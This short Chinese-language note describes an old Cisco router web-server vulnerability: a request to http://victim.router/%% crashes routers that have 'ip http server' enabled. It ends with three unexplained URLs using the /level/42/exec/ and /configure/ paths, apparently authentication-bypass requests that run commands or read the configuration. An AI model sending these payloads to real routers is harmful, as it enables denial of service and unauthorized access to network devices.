cisco ip http server漏洞

许多种Cisco路由器都存在一个潜在的拒绝服务漏洞。如果这些路由器启动了一个web服务器,用来对路由器进行管理或者其他操作的话，（通常是通过添加"ip http server " 类似的命令 来启动web服务的)攻击者只要提交一个URL: http://victim.router/%% ,就能导致 路由器崩溃。
　　
　　有些路由器会自动重起，有的则必须手工关闭电源并启动才能使路由器恢复正常工作。

 

　　
　　http:///level/42/configure/-/banner/motd/LINE
　　
　　http:///level/xx/configure
　　
　　http:///level/42/exec/show%20conf